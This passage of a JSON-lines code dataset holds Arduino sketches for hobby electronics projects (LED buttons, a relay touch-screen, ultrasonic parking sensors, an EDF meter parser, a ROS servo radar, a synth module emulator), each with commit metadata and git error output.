10; \/\/ the LED on the breadboard\n\nint buttonState = 0;\n\n\/\/this code runs once\nvoid setup() {\n \/\/create connection to Serial Monitor (Tools -> Serial Monitor or press Ctrl + Shift + M)\n Serial.begin(9600);\n \/\/declare both LED pins as an outputs and button pin as an input\n pinMode(ARDUINO_LED, OUTPUT);\n pinMode(BREADBOARD_LED, OUTPUT);\n pinMode(BTN, INPUT);\n}\n\n\/\/this code runs continuously\nvoid loop() {\n \n \/\/read in the stae of the button (HIGH = 1, LOW = 0)\n buttonState = digitalRead(BTN);\n \n if (buttonState == HIGH) {\n \/\/set the LED pins to HIGH\n digitalWrite(ARDUINO_LED, HIGH);\n digitalWrite(BREADBOARD_LED, HIGH);\n \/\/print the word ON to the serial monitor (your screen)\n Serial.println(\"ON\");\n } \n else {\n digitalWrite(ARDUINO_LED, LOW);\n digitalWrite(BREADBOARD_LED, LOW);\n Serial.println(\"OFF\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Button_LED_Serial\/Button_LED_Serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"390d3b6757d1039f89ac1e36d34563d364ff1e47","subject":"+ \u2018Touch_ScreenOrig.ino\u2019","message":"+ \u2018Touch_ScreenOrig.ino\u2019\n","repos":"Bakpakr\/Relay-Box","old_file":"Touch_ScreenOrig.ino","new_file":"Touch_ScreenOrig.ino","new_contents":"\/* This is my Sketch for the Touch Screen interface for the relay box that will be installed in my Jeep\n Robert L. Wardecker\n cna2rn@gmail.com\n This code is in public domain\n*\/\n\n#include <SoftwareSerial.h>\n#include <Nextion.h>\n\n\n\nconst int relayaPin = 52;\nconst int relaybPin = 53;\nconst int relaycPin = 50;\nconst int relaydPin = 51;\n\n\nSoftwareSerial nextion(10, 11);\/\/ Nextion TX to pin 10 and RX to pin 11 of Arduino\n\nNextion myNextion(nextion, 9600); \/\/create a Nextion object named myNextion using the nextion serial port @ 9600bps\n\nboolean button1State;\nboolean button2State;\nboolean button3State;\nboolean button4State;\nboolean button5State;\n\n\nvoid setup() {\n\n Serial.begin(9600);\n myNextion.init(); \/\/ send the initialization commands for Page 0\n\n pinMode(relayaPin, OUTPUT);\n pinMode(relaybPin, OUTPUT);\n pinMode(relaycPin, OUTPUT);\n pinMode(relaydPin, OUTPUT);\n\n}\n\nvoid loop() {\n\n String message = myNextion.listen(); \/\/check for message\n\n \/\/52\" Lightbar\n if (message == \"65 0 1 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button1State, \"b0\", 0, 2);\n\n if (button1State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relayaPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relayaPin, LOW);\n }\n }\n\n \/\/6\" Pods\n if (message == \"65 0 2 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button2State, \"b1\", 0, 2);\n if (button2State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaybPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaybPin, LOW);\n }\n }\n\n \/\/Fender Pods\n if (message == \"65 0 3 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button3State, \"b2\", 0, 2);\n if (button3State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaycPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaycPin, LOW);\n }\n }\n\n \/\/Rock Lights\n if (message == \"65 0 4 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button4State, \"b3\", 0, 2);\n if (button4State == HIGH) {\n \/\/ turn Relay on:\n digitalWrite(relaydPin, HIGH);\n } else {\n \/\/ turn Relay off:\n digitalWrite(relaydPin, LOW);\n }\n }\n\n \/\/All On\n if (message == \"65 0 5 1 ffff ffff ffff\") {\n myNextion.buttonToggle(button5State, \"b4\", 0, 2);\n\n if (button5State == HIGH) {\n digitalWrite(relayaPin, HIGH);\n digitalWrite(relaybPin, HIGH);\n digitalWrite(relaycPin, HIGH);\n digitalWrite(relaydPin, HIGH);\n }\n else {\n digitalWrite(relayaPin, LOW);\n digitalWrite(relaybPin, LOW);\n digitalWrite(relaycPin, LOW);\n digitalWrite(relaydPin, LOW);\n }\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Touch_ScreenOrig.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"b8ef4be95eb8fff3f05dd2aa3412804809276973","subject":"Ajout d'un parseur (non test\u00e9) pour t\u00e9l\u00e9mesure EDF","message":"Ajout d'un parseur (non test\u00e9) pour t\u00e9l\u00e9mesure EDF\n\nIl faut l'int\u00e9grer \u00e0 simple receiver je pense.","repos":"Kayoku\/iotari,Kayoku\/iotari,Kayoku\/iotari,Kayoku\/iotari","old_file":"arduino_code\/simple-test\/edf-parser.ino","new_file":"arduino_code\/simple-test\/edf-parser.ino","new_contents":"#include <SoftwareSerial.h>\nSoftwareSerial* cptSerial;\n\n#define startFrame 0x02\n#define endFrame 0x03\n#define lineStart 0x0A\n#define lineEnd 0x0D\n#define fieldSep 0x20\n#define lineLength 30\n\n\ninline char getCharSerial(){\n \/\/ on \"zappe\" le 8\u00e8me bit, car d'apr\u00e8s la doc EDF \n \/\/ la tramission se fait en 7 bits\n return cptSerial->read() & 0x7F;\n}\n\nint __charIndex = 0;\nchar __simulatedString[] = \"ADCO 030622716812 =\\nOPTARIF HC.. <\\nISOUSC 30 9\\nHCHC 035318160 !\\nHCHP 039061379 9\\nPTEC HP.. \\nIINST 001 X\\nIMAX 029 J\\nPAPP 00180 *\\nHHPHC C .\\nMOTDETAT 000000 B\\n\u0003\";\nchar getCharSimulated(){\n char c = __simulatedString[__charIndex];\n __charIndex = (__charIndex + 1) % 170;\n return c;\n}\n\ninline char getChar(){\n return getCharSerial();\n \/\/return getCharSimulated();\n}\n\nvoid lireTrame(){\n char charIn = 0;\n \/\/ Boucle d'attente du caract\u00e8re de d\u00e9but de trame\n while (charIn != startFrame)\n {\n \/\/ on bloque tant que l'on a pas le d\u00e9but de la trame\n charIn = getChar();\n }\n\n byte index = 0;\n char line[lineLength];\n while (charIn != endFrame)\n { \n \/\/ on lit jusqu'\u00e0 la fin de la trame\n \n charIn = getChar();\n if (charIn == lineStart){\n char line[lineLength];\n index = 0;\n }\n else if (charIn == lineEnd){\n \/\/ fin de ligne, on parse le contenu\n \n if(strcmp(line, \"OPTARIF\") == 0){\n \/\/ parse tarif \n byte tarifHC = isTarifHC(line);\n }\n if(strcmp(line, \"HCHC\") == 0){\n \/\/ parse valeur HC\n double HC = parse(line);\n }\n if(strcmp(line, \"HCHP\") == 0){\n \/\/ parse valeur HP\n double HP = parse(line);\n }\n if(strcmp(line, \"IINST\") == 0){\n \/\/ parse intensite instentanee\n int intInst = (int)(parse(line));\n }\n }\n else{\n \/\/ si c'est un caract\u00e8re normal\n if(index > lineLength){\n \/\/oulala\n break;\n }\n line[index] = charIn;\n index++;\n }\n }\n}\n\n\ninline byte isTarifHC(char line[]){\n \/\/ exemple : OPTARIF HC.. <\n if(strstr(line, \"HC\") != NULL){\n return 1;\n }\n if(strstr(line, \"HP\") != NULL){\n return 0;\n }\n return 2; \/\/error\n}\n\ninline double parse(char* const s) {\n return atol(strchr(s, fieldSep));\n}\n\nvoid setup(){\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_code\/simple-test\/edf-parser.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9603a64f25308231219d19aa3b515e144ec8158d","subject":"Create HC-SR04.ino","message":"Create HC-SR04.ino","repos":"shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking,shyampurk\/pubnub-rpi-smart-parking","old_file":"Device\/HC-SR04.ino","new_file":"Device\/HC-SR04.ino","new_contents":"\/\/Reference Value to Get The Status of Parking\n#define parked 150\n\n\/\/Pin Setting for the 3 Ultrasonic Sensors\n#define trigPin 13\n#define echoPin 12\n#define trigPin2 4\n#define echoPin2 5\n#define trigPin3 8\n#define echoPin3 9\n\n\/\/Flags\nboolean d1 = 0;\nboolean d2 = 0;\nboolean d3 = 0;\n\/*\n\/\/Deducting the Low Pulse fromm the Echo Pin\nunsigned long echoDeduct(uint8_t pin, uint8_t state, unsigned long timeout)\n{\n uint8_t bit = digitalPinToBitMask(pin);\n uint8_t port = digitalPinToPort(pin);\n uint8_t stateMask = (state ? bit : 0);\n unsigned long width = 0; \n unsigned long numloops = 0;\n unsigned long maxloops = microsecondsToClockCycles(timeout) \/ 16;\n \n while ((*portInputRegister(port) & bit) == stateMask)\n if (numloops++ == maxloops)\n return 0;\n \n while ((*portInputRegister(port) & bit) != stateMask)\n if (numloops++ == maxloops)\n return 0;\n \n while ((*portInputRegister(port) & bit) == stateMask)\n width++;\n\n return clockCyclesToMicroseconds(width * 10 + 16); \n}\n*\/\n\/\/Initialize the Pins and BAUD rate \nvoid setup() {\n Serial.begin (9600);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(trigPin2, OUTPUT);\n pinMode(echoPin2, INPUT);\n pinMode(trigPin3, OUTPUT);\n pinMode(echoPin3, INPUT);\n}\n\nvoid loop() {\n long duration, distance,duration2, distance2,duration3, distance3;\n \/\/Trigger Pin is made High for 10us and Wait for the Echo Pulse \n digitalWrite(trigPin, LOW);\n delayMicroseconds(2); \n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10); \n digitalWrite(trigPin, LOW);\n \/\/Obtain the Duration from the HIGH Pulse from Echo Pin\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n delay(300);\n digitalWrite(trigPin2, LOW);\n delayMicroseconds(2); \n digitalWrite(trigPin2, HIGH);\n delayMicroseconds(10); \n digitalWrite(trigPin2, LOW);\n duration2 = pulseIn(echoPin2, HIGH);\n distance2 = (duration2\/2) \/ 29.1;\n delay(300);\n digitalWrite(trigPin3, LOW);\n delayMicroseconds(2); \n digitalWrite(trigPin3, HIGH);\n delayMicroseconds(10); \n digitalWrite(trigPin3, LOW);\n duration3 = pulseIn(echoPin3, HIGH);\n distance3 = (duration3\/2) \/ 29.1;\n delay(200);\n \/\/Parking Lot 1\n \/\/Send the Sensor Status for the RPi using the Serial Communication \n if(distance <= parked)\n {\n \/\/This implies the Car is Parked and the Sensor Echo's for less distance\n Serial.write('1'); \n }\n else if(distance < 0)\n {\n \/\/This implies any Fault in the Sensor\n Serial.write('2');\n }\n else\n {\n \/\/This imples the Parking Lot is Free\n Serial.write('3');\n }\n \/\/Parking Lot 2\n if(distance2 <= parked)\n {\n Serial.write('4');\n }\n else if(distance2 < 0)\n {\n Serial.write('5');\n }\n else\n {\n Serial.write('6');\n }\n \/\/Parking Lot 3\n if(distance3 <= parked)\n {\n Serial.write('7');\n }\n else if(distance3 < 0)\n {\n Serial.write('8');\n }\n else\n {\n Serial.write('9');\n }\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Device\/HC-SR04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c7a6eff3b1719ea94e2985e52bbdb9f779387521","subject":"simple HC-SR04 checker","message":"simple HC-SR04 checker\n","repos":"dkuulis\/folkrace,dkuulis\/folkrace","old_file":"utils\/ping\/ping.ino","new_file":"utils\/ping\/ping.ino","new_contents":"\/\/ ---------------------------------------------------------------------------\n\/\/ Example NewPing library sketch that does a ping about 20 times per second.\n\/\/ ---------------------------------------------------------------------------\n\n#include <NewPing.h>\n\n#define TRIGGER_PIN 11 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN 12 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define MAX_DISTANCE 200 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n\nvoid setup() {\n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n}\n\nvoid loop() {\n delay(50); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n Serial.print(\"Ping: \");\n Serial.print(sonar.ping_cm()); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\"cm\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/ping\/ping.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ce6b1dcb97bfbf9e98aa4181ecdccdf3fe5e7d22","subject":"Create mrs-airfoil-code.ino","message":"Create mrs-airfoil-code.ino","repos":"d008\/MAE224,d008\/MAE224,d008\/MAE224,d008\/MAE224","old_file":"Lab 4 Shells\/mrs-airfoil-code.ino","new_file":"Lab 4 Shells\/mrs-airfoil-code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab' did not match any file(s) known to git\nerror: pathspec '4' did not match any file(s) known to git\nerror: pathspec 'Shells\/mrs-airfoil-code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fc1f7a86caf689ba419e1f3483c2a295539f2fb","subject":"added stuff","message":"added stuff\n","repos":"simonmonk\/electronics_cookbook","old_file":"arduino\/ch_15_decade_counter\/ch_15_decade_counter.ino","new_file":"arduino\/ch_15_decade_counter\/ch_15_decade_counter.ino","new_contents":"const int resetPin = 6;\nconst int clockPin = 7;\n\nvoid setup() {\n pinMode(resetPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n Serial.begin(9600);\n Serial.println(\"Enter digit 0..9\");\n}\n\nvoid loop() {\n if (Serial.available()) {\n int digit = Serial.parseInt();\n setDigit(digit);\n }\n}\n\nvoid setDigit(int digit) {\n digitalWrite(resetPin, HIGH);\n delayMicroseconds(1);\n digitalWrite(resetPin, LOW);\n for (int i = 0; i < digit; i++) {\n digitalWrite(clockPin, HIGH);\n delayMicroseconds(1);\n digitalWrite(clockPin, LOW);\n delayMicroseconds(1);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ch_15_decade_counter\/ch_15_decade_counter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc26c39f91dfa74ca23762a705a7c46e1602a32a","subject":"Update MyOurWeather.ino","message":"Update MyOurWeather.ino\n\nCode cleanup.","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"6a2ec75e25f80d5b29bc426669790b15397e75bb","subject":"add servo sketch v2","message":"add servo sketch v2\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/servo-radar3-ros-v2.ino","new_file":"testing\/arduino\/servo-radar3-ros-v2.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n#include \"ros.h\"\n#include \"ros\/time.h\"\n#include \"sensor_msgs\/Range.h\" \/\/ Ultrasonic Range\n#include \"sensor_msgs\/JointState.h\" \/\/ Servo Angle\n\n\/\/ ROS\nros::NodeHandle nh;\n\nsensor_msgs::Range rangeMessage;\nros::Publisher rangePublisher(\"\/ultrasound\", &rangeMessage);\n\nchar rangeFrameid1[] = \"\/ultrasound\/1\";\nchar rangeFrameid2[] = \"\/ultrasound\/2\";\n\n\nsensor_msgs::JointState jointMessage;\nros::Publisher sinbot_odometry(\"sinbot_odometry\", &jointMessage);\n\nchar jointFrameid[] = \"\/ultrasound\/joint\";\n\n\n\/\/ Ultrasonic Sensor\nconst uint16_t maxDistance = 250;\n\n\/\/ Ultrasonic Sensor #1\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\n\nNewPing sonar1(trigPin, echoPin, maxDistance);\n\n\/\/ Ultrasonic Sensor #2\nconst uint8_t trigPin2 = 11;\nconst uint8_t echoPin2 = 12;\n\nNewPing sonar2(trigPin2, echoPin2, maxDistance);\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nconst uint8_t servoRotationAngel = 5;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\n\n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(rangePublisher);\n\n rangeMessage.radiation_type = sensor_msgs::Range::ULTRASOUND;\n rangeMessage.field_of_view = 0.1;\n rangeMessage.min_range = 0.0;\n rangeMessage.max_range = maxDistance\/100; \/\/ cm to meter\n\n\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 400, 2600); \/\/ 400, 2600 to fix rotation issues\n ServoMotor.write(servoPos);\n}\n\n\nlong GetRange(int id)\n{\n long range = 0\n if(id == 1)\n {\n range = sonar1.ping_cm();\n }\n\n if(id == 2)\n {\n range = sonar2.ping_cm();\n }\n\n return range;\n}\n\n\nuint8_t GetNextServoAngle()\n{\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n return servoPos;\n}\n\n\nvoid SendDistanceToROS(int sensorID, float rangeInCentimeter)\n{\n if(sensorID == 1)\n {\n rangeMessage.header.frame_id = rangeFrameid1;\n }\n\n if(sensorID == 2)\n {\n rangeMessage.header.frame_id = rangeFrameid2;\n }\n\n rangeMessage.range = rangeInCentimeter\/100;\n rangeMessage.header.stamp = nh.now();\n rangePublisher.publish(&rangeMessage);\n}\n\n\nvoid loop()\n{\n long rangeFront = GetRange(1);\n long rangeBack = GetRange(2);\n\n uint8_t actualServoPos = ServoMotor.read();\n if(servoPos == actualServoPos)\n {\n ServoMotor.write(GetNextServoAngle());\n delay(5);\n }\n\n SendDistanceToROS(1, rangeFront);\n SendDistanceToROS(2, rangeBack);\n\n nh.spinOnce();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/servo-radar3-ros-v2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8bcd97bc8df374a4f7063f097cc36a2333f20695","subject":"Add DU-RDT clone function.","message":"Add DU-RDT clone function.\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/rdt\/rdt.ino","new_file":"examples\/rdt\/rdt.ino","new_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO DU-RDT Emulator\n * Aaron Mavrinac <aaron@logick.ca>\n *\n * JACK FUNCTION\n * ---- --------\n * GT1 O - upper LFSR out\n * GT2 O - lower LFSR out\n * GT3 I - clock in\n * GT4 I - 1s in\n * CI1 - pattern loop\n * CI2 - D in\n * CI3 - T in\n * CI4 - \n * OFFST -\n * CO1 - clock out\n * CO2 - D out\n * CO3 - D inverted out\n * CO4 - T out\n * FNCTN -\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_widgets.h>\n#include <du-ino_save.h>\n#include <du-ino_clock.h>\n#include <avr\/pgmspace.h>\n\nstatic const unsigned char loop_icons[] PROGMEM = {\n 0x30, 0x48, 0x84, 0x84, 0x80, 0x84, 0x8e, 0x9f, \/\/ left part\n 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x48, 0x30 \/\/ right part\n};\n\nstatic const unsigned char jack_icon[] PROGMEM = {\n 0x1c, 0x22, 0x41, 0x41, 0x41, 0x22, 0x1c\n};\n\nvoid clock_ext_isr();\n\nvoid clock_callback();\nvoid external_callback();\n\nvoid clock_scroll_callback(int delta);\nvoid swing_scroll_callback(int delta);\nvoid lfsr_scroll_callback(uint8_t half, int delta);\n\nclass DU_RDT_Function : public DUINO_Function\n{\npublic:\n DU_RDT_Function() : DUINO_Function(0b00001100) { }\n\n virtual void setup()\n {\n \/\/ build widget hierarchy\n container_outer_ = new DUINO_WidgetContainer<3>(DUINO_Widget::DoubleClick, 2);\n widget_save_ = new DUINO_SaveWidget<ParameterValues>(121, 0);\n container_outer_->attach_child(widget_save_, 0);\n container_top_ = new DUINO_WidgetContainer<2>(DUINO_Widget::Click);\n widget_clock_ = new DUINO_DisplayWidget(73, 0, 19, 9, DUINO_Widget::Full);\n widget_clock_->attach_scroll_callback(clock_scroll_callback);\n container_top_->attach_child(widget_clock_, 0);\n widget_swing_ = new DUINO_DisplayWidget(97, 0, 19, 9, DUINO_Widget::Full);\n widget_swing_->attach_scroll_callback(swing_scroll_callback);\n container_top_->attach_child(widget_swing_, 1);\n container_outer_->attach_child(container_top_, 1);\n widgets_lfsr_ = new DUINO_MultiDisplayWidget<2>(5, 19, 13, 13, 105, false, DUINO_Widget::Corners,\n DUINO_Widget::Click);\n widgets_lfsr_->attach_scroll_callback_array(lfsr_scroll_callback);\n container_outer_->attach_child(widgets_lfsr_, 2);\n\n \/\/ initialize interface\n lfsr_loop_ = jack_1s_ = d_out_ = t_out_ = false;\n jack_d_ = jack_t_ = -1;\n\n Clock.begin();\n Clock.attach_clock_callback(clock_callback);\n Clock.attach_external_callback(external_callback);\n\n gt_attach_interrupt(GT3, clock_ext_isr, CHANGE);\n\n \/\/ draw top line\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"RDT\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ draw jacks\n Display.draw_bitmap_7(23, 10, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(8, 39, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(113, 39, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(32, 39, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(32, 48, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(89, 39, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(89, 48, jack_icon, 0, DUINO_SH1106::White);\n Display.draw_bitmap_7(89, 57, jack_icon, 0, DUINO_SH1106::White);\n\n \/\/ draw big circles\n \/\/ FIXME: have to do this manually because draw_circle doesn't quite get it right\n for (uint8_t i = 0; i < 2; ++i)\n {\n for (uint8_t j = 0; j < 2; ++j)\n {\n Display.draw_vline(j * 22 + i * 105, 22, 7, DUINO_SH1106::White);\n Display.draw_hline(8 + i * 105, 14 + j * 22, 7, DUINO_SH1106::White);\n for (uint8_t k = 0; k < 2; ++k)\n {\n Display.draw_vline(1 + k * 20 + i * 105, 20 + j * 9, 2, DUINO_SH1106::White);\n Display.draw_hline(6 + k * 9 + i * 105, 15 + j * 20, 2, DUINO_SH1106::White);\n Display.draw_pixel(2 + k * 18 + i * 105, 19 + j * 12, DUINO_SH1106::White);\n Display.draw_pixel(3 + k * 16 + i * 105, 18 + j * 14, DUINO_SH1106::White);\n Display.draw_pixel(3 + k * 16 + i * 105, 17 + j * 16, DUINO_SH1106::White);\n Display.draw_pixel(4 + k * 14 + i * 105, 17 + j * 16, DUINO_SH1106::White);\n Display.draw_pixel(5 + k * 12 + i * 105, 16 + j * 18, DUINO_SH1106::White);\n }\n }\n }\n\n \/\/ draw 1s down arrows\n for (uint8_t i = 0; i < 2; ++i)\n {\n Display.draw_pixel(25, 18 + i * 3, DUINO_SH1106::White);\n Display.draw_pixel(26, 19 + i * 3, DUINO_SH1106::White);\n Display.draw_pixel(27, 18 + i * 3, DUINO_SH1106::White);\n }\n\n \/\/ draw D and T lines\n for (uint8_t i = 0; i < 2; ++i)\n {\n for (uint8_t x = 0; x < 20; ++x)\n {\n for (uint8_t y = 0; y < 3; ++y)\n {\n if ((x - y) & 2)\n {\n Display.draw_pixel(40 + x, 41 + (i * 9) + y, DUINO_SH1106::White);\n }\n }\n }\n }\n Display.draw_char(62, 39, 'D', DUINO_SH1106::White);\n Display.draw_char(62, 48, 'T', DUINO_SH1106::White);\n Display.fill_rect(69, 41, 18, 3, DUINO_SH1106::White);\n Display.draw_pixel(87, 42, DUINO_SH1106::White);\n Display.fill_rect(69, 50, 11, 3, DUINO_SH1106::White);\n Display.draw_pixel(79, 53, DUINO_SH1106::White);\n for (uint8_t i = 0; i < 6; ++i)\n {\n Display.draw_vline(80 + i, 51 + i, 4, DUINO_SH1106::White);\n }\n Display.draw_vline(86, 57, 3, DUINO_SH1106::White);\n Display.draw_vline(87, 58, 2, DUINO_SH1106::White);\n\n \/\/ load settings\n widget_save_->load_params();\n\n if (widget_save_->params.vals.clock_bpm < 0)\n {\n widget_save_->params.vals.clock_bpm = 0;\n }\n else if (widget_save_->params.vals.clock_bpm > 300)\n {\n widget_save_->params.vals.clock_bpm = 300;\n }\n Clock.set_bpm(widget_save_->params.vals.clock_bpm);\n\n if (widget_save_->params.vals.swing < 0)\n {\n widget_save_->params.vals.swing = 0;\n }\n else if (widget_save_->params.vals.swing > 6)\n {\n widget_save_->params.vals.swing = 6;\n }\n Clock.set_swing(widget_save_->params.vals.swing);\n\n for (uint8_t i = 0; i < 2; ++i)\n {\n if (widget_save_->params.vals.lfsr[i] < 1)\n {\n widget_save_->params.vals.lfsr[i] = 1;\n }\n else if (widget_save_->params.vals.lfsr[i] > 8)\n {\n widget_save_->params.vals.lfsr[i] = 8;\n }\n }\n\n \/\/ draw parameters\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, widget_save_->params.vals.clock_bpm,\n DUINO_SH1106::White);\n display_swing(widget_swing_->x() + 1, widget_swing_->y() + 1, widget_save_->params.vals.swing, DUINO_SH1106::White);\n Display.draw_char(110, 1, '%', DUINO_SH1106::White);\n for (uint8_t i = 0; i < 2; ++i)\n {\n Display.draw_char(widgets_lfsr_->x(i) + 4, widgets_lfsr_->y(i) + 3, '0' + widget_save_->params.vals.lfsr[i],\n DUINO_SH1106::White);\n draw_lfsr_arrow(24 + (i * 40) + ((widget_save_->params.vals.lfsr[i] - 1) * 5), 29, DUINO_SH1106::White);\n }\n\n widget_setup(container_outer_);\n Display.display_all();\n }\n\n virtual void loop()\n {\n widget_loop();\n\n \/\/ store current jack states\n const bool lfsr_loop_last = lfsr_loop_;\n const bool jack_1s_last = jack_1s_;\n const int8_t jack_d_last = jack_d_;\n const int8_t jack_t_last = jack_t_;\n\n \/\/ update jack states\n lfsr_loop_ = gt_read(CI1);\n jack_1s_ = gt_read(GT4);\n const float d_val = cv_read(CI2);\n if (d_val < -5.0)\n {\n jack_d_ = -1;\n }\n else\n {\n jack_d_ = d_val > 3.0; \/\/ FIXME: move DIGITAL_THRESH constant to function header?\n }\n const float t_val = cv_read(CI3);\n if (t_val < -5.0)\n {\n jack_t_ = -1;\n }\n else\n {\n jack_t_ = t_val > 3.0; \/\/ FIXME: move DIGITAL_THRESH constant to function header?\n }\n\n\n \/\/ display jack states\n if (lfsr_loop_ != lfsr_loop_last)\n {\n display_lfsr_loop(56, 13, lfsr_loop_, DUINO_SH1106::White);\n Display.display(56, 71, 1, 2);\n }\n\n if (jack_1s_ != jack_1s_last)\n {\n Display.fill_rect(25, 12, 3, 3, jack_1s_ ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(25, 27, 1, 1);\n }\n\n if (jack_d_ != jack_d_last)\n {\n Display.fill_rect(34, 41, 3, 3, jack_d_ > 0 ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(34, 36, 5, 5);\n }\n\n if (jack_t_ != jack_t_last)\n {\n Display.fill_rect(34, 50, 3, 3, jack_t_ > 0 ? DUINO_SH1106::White : DUINO_SH1106::Black);\n Display.display(34, 36, 6, 6);\n }\n }\n\n void clock_clock_callback()\n {\n \/\/ output clock\n gt_out(CO1, Clock.state());\n\n if (Clock.state())\n {\n \/\/ LFSR\n if (lfsr_loop_)\n {\n widget_save_->params.vals.pattern =\n (widget_save_->params.vals.pattern << 1) | (widget_save_->params.vals.pattern >> 15);\n }\n else\n {\n const uint16_t lfsr_bit = jack_1s_ ? 1 :\n ((widget_save_->params.vals.pattern >> 15) ^ ((widget_save_->params.vals.pattern >> 13) & 1)) ^\n ((widget_save_->params.vals.pattern >> 12) & 1) ^ ((widget_save_->params.vals.pattern >> 10) & 1);\n widget_save_->params.vals.pattern = (widget_save_->params.vals.pattern << 1) | lfsr_bit;\n }\n\n uint8_t jacks = 0;\n if (widget_save_->params.vals.pattern & (1 << ((widget_save_->params.vals.lfsr[0] - 1))))\n {\n jacks |= (1 << GT1);\n }\n if (widget_save_->params.vals.pattern & (1 << ((widget_save_->params.vals.lfsr[1] + 7))))\n {\n jacks |= (1 << GT2);\n }\n \n 